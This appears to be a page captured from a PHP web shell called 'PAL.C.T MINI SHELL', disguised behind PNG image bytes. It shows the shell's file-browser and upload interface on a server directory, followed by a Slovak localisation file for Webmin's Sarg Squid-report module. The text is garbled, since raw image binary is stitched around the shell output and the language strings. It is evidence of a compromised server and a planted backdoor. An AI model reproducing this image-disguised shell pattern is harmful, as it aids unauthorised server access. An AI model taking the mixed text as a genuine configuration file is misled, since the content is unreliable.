php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/sarg/lang/
upload
files >> //usr/libexec/webmin/sarg/lang/sk.auto

index_title=Squid Report Generator
index_econf=Vo vašom systéme sa nenašiel konfiguračný súbor Sarg $1. Možno Sarg nie je nainštalovaný alebo je <a href='$2'>konfigurácia modulu</a> nesprávna.
index_ecmd=Program Sarg $1 nebol vo vašom systéme nájdený. Možno nie je nainštalovaný alebo je <a href='$2'>konfigurácia modulu</a> nesprávna.
index_eversion=Nepodarilo sa získať verziu Sarg s príkazom $1 : $2 
index_version=Sarg verzia $1 
index_generate=Vygenerovať prehľad
index_generatedesc=Kliknutím na toto tlačidlo okamžite vygenerujete správu Sarg v $1 pomocou aktuálnej konfigurácie.
index_clear=Odstrániť existujúci prehľad v adresári?
index_range=Vygenerujte prehľad pre časové obdobie
index_view=Zobraziť vygenerovaný prehľad
index_viewdesc=Zobraziť naposledy vygenerovaný prehľad v adresári $1.
index_return=index modulu

log_title=Zdroj denníka a cieľ správy
log_header=Zdrojový súbor chobotnice a generované možnosti prehľadu
log_access_log=Zdrojový súbor chobotnice
log_squid=Aktuálny denník servera Squid ($1)
log_other=Iný súbor
log_output_dir=Adresár správy o mieste určenia
log_output_email=E-mailovú správu na adresu
log_nowhere=nikde
log_useragent_log=Protokolový súbor užívateľského agenta
log_lastlog=Počet správ, ktoré sa majú uchovávať
log_unlimit=neobmedzený
log_mail_utility=Príkaz na odosielanie pošty
log_remove_temp_files=Odstrániť dočasné súbory po nahlásení?
log_err=Možnosti zdroja denníka sa nepodarilo uložiť
log_efile=Súbor neexistuje
log_edir=Adresár neexistuje
log_elastlog=Chýba alebo nie je číslo
log_eemail=Chýbajúca alebo neplatná e-mailová adresa
log_emailx=Chýbajúci alebo neexistujúci poštový program
log_squidguard_log_path=Protokolový súbor SquidGuard

style_title=Štýl prehľadu
style_header=Možnosti štýlu a farieb správy HTML
style_title2=Názov prehľadu
style_font_face=Text správy tela
style_header_color=Farba hlavičky
style_header_bgcolor=Farba pozadia hlavičky
style_header_font_size=Veľkosť písma hlavičky
style_background_color=Farba pozadia
style_text_color=Farba textu
style_text_bgcolor=Farba pozadia textu
style_title_color=Farba názvu
style_logo_image=Referencia obrázka pre logo
style_image_size=Veľkosť obrázka (šírka a výška)
style_logo_text=Text pre logo
style_logo_text_color=Farba textu pre logo
style_background_image=Referencia obrázka na pozadí
style_err=Možnosti štýlu prehľadu sa nepodarilo uložiť
style_etitle=Chýba názov prehľadu
style_ecolour=Chýba alebo je neplatný názov farby alebo kód RRGGBB
style_efontsize=Chýbajúci alebo neplatný ofset veľkosti písma
style_efont=Chýba alebo je neplatný názov písma
style_esize=Chýbajúca alebo neplatná šírka a výška obrázka
style_language=Jazyk správy
style_charset=Správa znakovej sady

report_title=Možnosti prehľadu
report_header=Nahlásiť obsah a možnosti generovania
report_resolve_ip=Vyriešiť IP adresy?
report_user_ip=Použiť adresy IP namiesto ID používateľov?
report_user_sort_field=Objednávka pre správu používateľa
report_topuser_sort_field=Prehľad objednávok pre najlepších používateľov
report_reverse=V opačnom poradí
report_forward=V predstihu
report_by_user=Podľa užívateľského mena
report_by_connect=Čas pripojenia
report_by_bytes=Bajtov
report_by_time=Časom
report_by_site=Podľa miesta
report_exclude_users=Zoznam používateľov, ktorých chcete vylúčiť
report_exclude_hosts=Hostitelia so zoznamom súborov, ktoré sa majú vylúčiť
report_index=Znova vygenerovať súbor <tt>index.html</tt>?
report_only=Generujte iba <tt>index.html</tt>
report_overwrite_report=Prepísať prehľad pre dátum?
report_overno=Nie, premenovať s.1
report_records_without_userid=Akcia pre záznamy bez používateľa?
report_ignore=Úplne ignorovať
report_ip=Namiesto toho použite IP adresu
report_everybody=Používajte používateľské meno <tt>všetci</tt>
report_use_comma=Namiesto toho použite čiarku. v číslach?
report_topsites_num=Počet najčastejšie zobrazovaných webov
report_topsites_sort_order=Prehľad objednávok pre najčastejšie stránky
report_sorta=stúpajúca
report_sortd=zostupne
report_index_sort_order=Objednávanie odkazov v <tt>index.html</tt>
report_exclude_codes=Súbor s výpisom HTTP kódov, ktoré sa majú vylúčiť
report_max_elapsed=Maximálny uplynutý čas (ms)
report_report_type=Vytvorte sekcie prehľadov
report_topsites=Najlepšie stránky
report_topusers=Najlepší používatelia
report_sites_users=Stránky podľa používateľa
report_users_sites=Používatelia podľa stránok
report_date_time=Použitie podľa dňa a hodiny
report_denied=Zakázané weby
report_downloads=K stiahnutiu
report_auth_failures=Zlyhania pri overovaní
report_site_user_time_date=Stránky, dátumy, časy a bajty
report_all=Všetky správy
report_below=Vybraté nižšie ..
report_usertab=Mapovací súbor pre používateľské meno
report_long_url=Zobraziť v prehľade úplné adresy URL?
report_date_time_by=Zoradenie prehľadu dátum/čas podľa
report_bytes=bajtov
report_elap=Uplynutý čas
report_user_invalid_char=Neplatné znaky v používateľských menách
report_privacy=Skryť navštívené stránky?
report_privacy_string=Náhradný text za navštívené stránky
report_privacy_string_color=Farba pre náhradný text
report_below2=Zadané nižšie ..
report_include_users=Vytvorte prehľad iba pre používateľov
report_exclude_string=Vylúčte riadky denníka obsahujúce
report_allusers=Všetci používatelia
report_nostrings=Nevylučujte žiadne
report_topuser_num=Počet najlepších používateľov na zobrazenie
report_site_user_time_date_type=Formát stránky, používateľa, dátumu a času
report_table=HTML tabuľka
report_list=Textový zoznam
report_displayed_values=Zobraziť prevádzku ako
report_bytes2=bajtov
report_abbrev=Skrátené (K, M, G)
report_weekdays=Pracovné dni, ktoré sa majú zahrnúť do prehľadu
report_weekdays0=Su
report_weekdays1=mo
report_weekdays2=tú
report_weekdays3=my
report_weekdays4=th
report_weekdays5=fr
report_weekdays6=sa
report_hours=Hodiny na zahrnutie do prehľadu
report_err=Možnosti prehľadu sa nepodarilo uložiť
report_efile=Súbor neexistuje
report_enum=Nie číslo
report_echar=Priestory nie sú povolené
report_estring=Chýba alebo je neplatný náhradný text
report_eselect=Nič vybrané
report_eenter=Nič nevstúpilo

sched_title=Plánované generovanie výkazov
sched_header=Možnosti plánovaného prehľadu
sched_sched=Plánovaný prehľad je povolený?
sched_yes=Áno, v časoch vybraných nižšie.
sched_clear=Vymazať adresár prehľadov zakaždým?
sched_dir=Adresár prehľadov
sched_edir=Na stránke <a href='$1'>Zdroj denníka a cieľ prehľadu</a> nebol definovaný žiadny adresár prehľadov cieľov. Pred povolením plánovaného prehľadu je potrebné toto nastavenie nastaviť.
sched_esfile=Na stránke <a href='$1'>Zdroj denníka a cieľ prehľadu</a> nebol definovaný žiadny súbor denníka Squid. Pred povolením plánovaného prehľadu je potrebné toto nastavenie nastaviť.
sched_range=Vygenerujte prehľad pre časové obdobie
sched_rall=Všetky záznamy v protokolovom súbore
sched_rsel=Tí od $1 do $2 dní
sched_err=Uloženie plánovaného generovania prehľadu zlyhalo
sched_erfrom=Chýba alebo je neplatný počiatočný počet dní
sched_erto=Chýbajúci alebo neplatný konečný počet dní

view_title=Sargova správa
view_efile=Neplatný názov súboru!
view_eopen=Súbor prehľadu sa nepodarilo otvoriť

gen_title=Generovať správu
gen_header=Teraz sa generuje správa Sarg zo súboru protokolu Squid $1 a všetkých rotovaných verzií ..
gen_done=.. hotový
gen_failed=.. Sarg zlyhal! Podrobnosti nájdete vo výstupe vyššie.
gen_nothing=.. Sarg skončil, ale nebola vygenerovaná žiadna správa. Podrobnosti nájdete vo výstupe vyššie.
gen_view=Zobraziť dokončenú správu.
gen_err=Nepodarilo sa vygenerovať prehľad
gen_efrom=Chýbajúce alebo neplatné odo dňa
gen_eto=Chýbajúce alebo neplatné do dnešného dňa

webmin_log_log=Aktualizované možnosti zdroja denníka a hlásenia cieľa
webmin_log_report=Aktualizované možnosti prehľadu
webmin_log_style=Aktualizované možnosti štýlu prehľadu
webmin_log_sched_create=Povolené plánované prehľady
webmin_log_sched_delete=Zakázané plánovanie prehľadov
webmin_log_sched_update=Aktualizované plánované vykazovanie
webmin_log_sched_nothing=Ľavé plánovanie prehľadov je zakázané
webmin_log_generate=Vygenerovaná správa
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`